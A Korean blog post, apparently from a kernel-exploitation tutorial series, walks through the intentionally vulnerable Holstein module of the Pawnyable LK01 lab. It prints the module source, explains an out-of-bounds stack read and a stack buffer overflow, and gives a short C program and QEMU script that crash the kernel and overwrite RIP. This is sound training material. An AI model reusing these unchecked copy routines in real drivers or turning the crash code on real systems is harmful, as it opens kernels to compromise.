1. 소개
Holstein이란?
Holstein Module은 앞서 qemu를 이용한 환경 세팅 글에서 설치한 LK01 예제에 포함된 간단한 취약점을 가진 커널 모듈로 open, write, read 등의 기능을 포함하고 있다.
Main Topic
- Module Stack Buffer Overflow
- Kernel read, write
2. 환경 설정
기본적인 환경 세팅은 아래 글과 같다.
살펴 보아야 할 중요한 부분은 etc 디렉터리 하위에 존재하는 파일 중 S99pawnyable이다.
##
## Install driver
##
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
- vuln.ko라는 모듈을 로딩하고 holstein이라는 이름으로 devices에 마운트 한다.
##
## User shell
##
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v1 (LK01) - Pawnyable ]"
setsid cttyhack setuidgid 0 sh
- setuidgid 0 sh 로 설정해두면 root 권한으로 부팅할 수 있다.
3. 소스 코드 분석
LK01 디렉터리 하위에 src 디렉터리를 보면 vuln.c 파일이 존재한다. 이는 Holstein 모듈의 소스코드로, vuln.c 파일을 열어 분석 해보자.
module_init(module_initialize);
module_exit(module_cleanup);
- 모듈의 Start Entry는 module_initialize 함수로 모듈을 Open하고 사용이 종료되면 module_cleanup 함수를 통해 정리한다.
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
printk(KERN_WARNING "Failed to register device\n");
return -EBUSY;
}
cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;
if (cdev_add(&c_dev, dev_id, 1)) {
printk(KERN_WARNING "Failed to add cdev\n");
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}
return 0;
}
- cdev_add 함수를 통해서 /dev 하위 디렉터리에 모듈을 불러와 사용한다.
- cdev_init 함수에 module_fops를 인자로 전달한다.
static struct file_operations module_fops =
{
.owner = THIS_MODULE,
.read = module_read,
.write = module_write,
.open = module_open,
.release = module_close,
};
- module_fops 구조체는 위와 같다. read, write, open, close 4가지의 기능을 연결 해주는 구조체이다.
static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}
- 모듈 종료 함수는 장치를 언마운트, 삭제 하는 기능이다.
#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
- module_open 함수는 module이 open 됐다는 메시지와 함께 buffer에 0x400 크기의 공간을 할당해준다.
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}
- module_close 함수는 할당 받은 buffer를 할당 해제하는 처리를 해준다.
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };
printk(KERN_INFO "module_read called\n");
memcpy(kbuf, g_buf, BUFFER_SIZE);
if (_copy_to_user(buf, kbuf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
- 다음은 read 함수이다. userland에서 read syscall을 호출 했을때 실행되는 함수이다.
- _copy_to_user 함수를 통해 user buf에 kernel buf 안에 있는 값을 count size 만큼 복사한다.
- _copy_to_user 함수는 버퍼 오버플로우를 검사하지 않는 보안이 취약한 함수이다.
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };
printk(KERN_INFO "module_write called\n");
if (_copy_from_user(kbuf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
memcpy(g_buf, kbuf, BUFFER_SIZE);
return count;
}
- 다음은 write 함수로, read와 똑같이 userland에서 write syscall을 호출했을때 실행되는 함수이다.
- 함수 스택 공간에 count 사이즈 만큼 user buf 값을 입력하고 kernel buf 공간에 0x400 만큼 값을 복사한다.
4. 취약점
임의로 취약한 함수를 사용하여 만든 모듈이므로 두 가지의 큰 취약점이 존재한다.
Arbitrary Address Read
module_read 함수는 원하는 사이즈 만큼 모듈 스택공간의 값을 읽어올 수 있다. 이는 스택 공간의 임의 값을 읽어올 수도 있기 때문에 취약점이 발생한다. (_copy_to_user 가 아닌 copy_to_user 함수는 사이즈 검사를 하기 때문에 취약점이 발생하지 않는다.)
Stack Buffer Overflow
module_write 함수는 모듈에서 할당받은 g_buf에는 0x400 크기로 고정되어 복사하기 때문에 heap 공간에는 영향이 없지만 스택 공간인 kbuf에는 유저가 원하는 크기만큼 값을 입력할 수 있기 때문에 Module Stack 공간에 BOF가 일어난다.
5. 크래시 유도
간단한 예제 코드를 작성 해보자
#include <stdio.h>
#include <stdlib.h>
int main() {
int fd = open("/dev/holstein", 2);
char buf[0x500];
read(fd, buf, 0x500);
printf("buf: %s\n", buf);
memset(buf, 'A', 0x500);
write(fd, buf, 0x500);
close(fd);
return 0;
}
위 코드를 c파일로 만들어 컴파일 해준 다음 cpio 파일에 넣어주면 된다.
#!/bin/sh
gcc exploit.c -o exploit
mv exploit root
cd root; find . -print0 | cpio -o --null --format=newc > ../debugfs.cpio
cd ../
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
-no-reboot \
-cpu qemu64 \
-gdb tcp::12345 \
-smp 1 \
-monitor /dev/null \
-initrd debugfs.cpio \
-net nic,model=virtio \
-net user
과정이 귀찮기 때문에 위 쉘 스크립트를 작성하여 실행해도 바이너리가 qemu 시스템 상에 들어가게 된다.
그럼 qemu 시스템으로 들어가서 코드를 실행 해보자.
# ./run.sh
[ Holstein v1 (LK01) - Pawnyable ]
/ # ./exploit
그럼 아래와 같은 크래시가 발생한다.
NULL로 인해 AAR한 값은 출력되지 않았지만 위와 같이 RIP가 조작되며 Segfault 오류가 발생하게 된다.
6. 마치며
이번 글은 간단한 모듈을 통해 read, write 과정과 취약점 발생을 알아보았다.
다음 글에서는 RIP 조작을 통해서 권한 상승 공격을 실습해볼 예정이다.
'Kernel' 카테고리의 다른 글
[Kernel] KROP & KPTI (0) | 2024.03.15 |
---|---|
[Kernel] Kernel Stack Overflow & Commit_creds (0) | 2024.02.18 |
[Kernel] 커널의 보호 기법 (1) | 2024.01.04 |
[Kernel] qemu를 사용한 환경 세팅 (1) | 2023.12.18 |
[Kernel] Introduce Kernel (0) | 2023.12.15 |